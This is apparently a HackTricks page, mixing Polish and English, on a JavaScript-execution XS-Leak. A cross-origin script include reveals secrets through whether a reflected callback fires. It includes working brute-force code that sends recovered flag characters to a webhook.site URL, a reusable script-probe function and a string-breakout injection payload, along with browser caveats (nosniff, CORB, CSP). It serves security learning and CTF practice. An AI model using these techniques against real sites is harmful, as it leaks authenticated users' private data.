JavaScript Execution XS Leak

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Ten prymityw XS-Search zamienia to, czy cross-origin response wykonuje się jako JavaScript w Boolean oracle.

Typowy setup wygląda tak:

  • Stan pozytywny: cel zwraca tekst kontrolowany przez atakującego albo sensitive content, który nie wykonuje się jako attacker JavaScript.
  • Stan negatywny: cel odzwierciedla tekst kontrolowany przez atakującego w miejsce, które jest parsowane jako poprawny JavaScript, więc atakujący może wymusić callback, taki jak window.parent.foo().
  • leak: załaduj cel przez klasyczny <script src> i obserwuj, czy callback się wywoła.

To jest w zasadzie execution oracle, a nie timing oracle. Jedyna rzecz, której potrzebuje atakujący, to cross-origin script inclusion, które zachowuje się inaczej w zależności od gałęzi zależnej od sekretu.

Dla ogólnego tła XS-Leaks, zobacz:

HackTricks

When This Works

Ta technika jest praktyczna, gdy wszystkie poniższe warunki są spełnione:

  • Ofiara jest authenticated do target origin.
  • Atakujący może sprawić, że przeglądarka ofiary zażąda classic script z target origin.
  • Jedna gałąź zwraca content, który jest valid attacker-controlled JavaScript.
  • Druga gałąź zwraca content, który nie wykonuje attacker callback.

W praktyce najłatwiejsze przypadki to endpointy search/debug, które:

  • zwracają tekst kontrolowany przez atakującego, gdy guess jest błędny
  • zwracają inny body, gdy guess jest poprawny
  • pozwalają atakującemu wybrać parameter taki jak callback, hint, msg albo odzwierciedlony prefix/suffix

Basic Example

Server-side code, które spróbuje ${guess} jako prefix flagi:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

Główna strona, która generuje iframes do poprzedniej strony /guessing, aby przetestować każdą możliwość:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

Logika atakującego jest następująca:

  1. Zacznij każdy kandydat jako “good”.
  2. Załaduj odpowiedź celu jako script.
  3. Jeśli odpowiedź wykona window.parent.foo(), oznacz kandydata jako błędny.
  4. Jeśli żaden callback nie zostanie wywołany, zachowaj kandydata i kontynuuj brute-forcing.

Minimal Probe Pattern

W wielu realnych celach iframe nie jest wymagany. Wystarczy bezpośrednie dołączenie script:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

Jeśli gałąź “wrong guess” odzwierciedla miss(), to:

  • probe(...) === false oznacza, że callback został wykonany albo load się nie powiódł
  • probe(...) === true oznacza, że script załadował się bez uruchomienia callbacka atakującego

Dla niezawodności użyj nowego elementu script dla każdego probe i dodaj cache-buster taki jak ?r=${crypto.randomUUID()}.

Modern Caveats

It must be a classic script

Ta primitive opiera się na tym, że browser pobiera resource jako classic script. Zwykły <script src=...> bez crossorigin jest pobierany w trybie no-cors, i właśnie dlatego ten stary pattern nadal bywa użyteczny cross-origin.

Nie przełączaj tego technique na type="module":

  • cross-origin module scripts require CORS
  • wiele targetów, które można includować jako classic scripts, po prostu failuje jako moduły

MIME type and nosniff decide whether the payload executes

Current browsers are stricter than older writeups. If the target sets X-Content-Type-Options: nosniff, browser zablokuje odpowiedź script, której MIME type nie jest JavaScript MIME type.

To means this oracle często depends on:

  • whether the target returns application/javascript / text/javascript
  • whether the target returns text/plain, text/html, or JSON
  • whether nosniff is present

To is also why some endpoints only give a leak in one branch: jedna response jest akceptowana as script, while the other branch jest blocked or parsed differently.

CORB can change the observable result

CORB adds another branch to think about. If a response is considered CORB-protected, Chromium may turn it into an empty valid script response instead of surfacing a parse failure. So for some endpoints:

  • one state triggers a normal script parse / callback
  • another state becomes an empty script and only onload fires

That is still a useful oracle, but the signal is now callback vs no callback or onload vs onerror, not just “JavaScript executed or not”.

CSP can kill the attacker-controlled branch

Strict CSP on the target response can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail:

  • script-src 'none' can force attackers to pivot away from a direct execution oracle
  • CSP/SRI/CSP-report interactions can still create other leak oracles, but those belong to different pages/techniques

So when the obvious callback trick does not work, inspect response headers before discarding the endpoint.

Useful Variants

Callback-parameter endpoints

Najwygodniejszym targetem jest JSONP-style lub debug endpoint, który akceptuje parameter taki jak:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

Jeśli gałąź “miss” odzwierciedla tę wartość dosłownie w executable JavaScript, while the “hit” branch returns different content, dostajesz bezpośredni Boolean oracle bez pomiaru czasu.

Syntax-preserving prefixes and suffixes

Sometimes you cannot fully control the response body, but you can still make the negative branch execute:

  • zamknij bieżący string albo argument function
  • wstrzyknij callback
  • skomentuj trailing bytes

Na przykład, reflected branch like:

showResult("<attacker>");

może być często zamienione na:

showResult("");window.parent.foo();//");

Jeśli pozytywna gałąź nie odzwierciedla tego payload, callback staje się oracle.

Combining with event-based oracles

Jeśli endpoint jest niestabilny między przeglądarkami, połącz execution oracle z ogólnymi zdarzeniami ładowania scriptów omówionymi już w indeksie sekcji:

  • callback fired
  • onload
  • onerror

Jest to szczególnie przydatne, gdy jedna gałąź zwraca poprawny JavaScript, a inna wyzwala zablokowane zachowanie MIME / CORB / CSP.

Powiązane strony:

Praktyczne uwagi

  • Preferuj jeden bit na request i utrzymuj prosty side effect callbacka.
  • Jeśli sprawdzasz wiele kandydatów, usuń wcześniej wstawione elementy <script> albo izoluj każdą próbę w świeżym iframe.
  • Zachowanie cache i service worker może zatruwać oracle; używaj cache-busting.
  • Ten primitive jest najsilniejszy, gdy negatywna gałąź to w pełni kontrolowany przez attacker JavaScript. Jeśli dostajesz tylko częściową refleksję, exploit staje się problemem shaping payloadu, a nie problemem XS-Search.

References

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks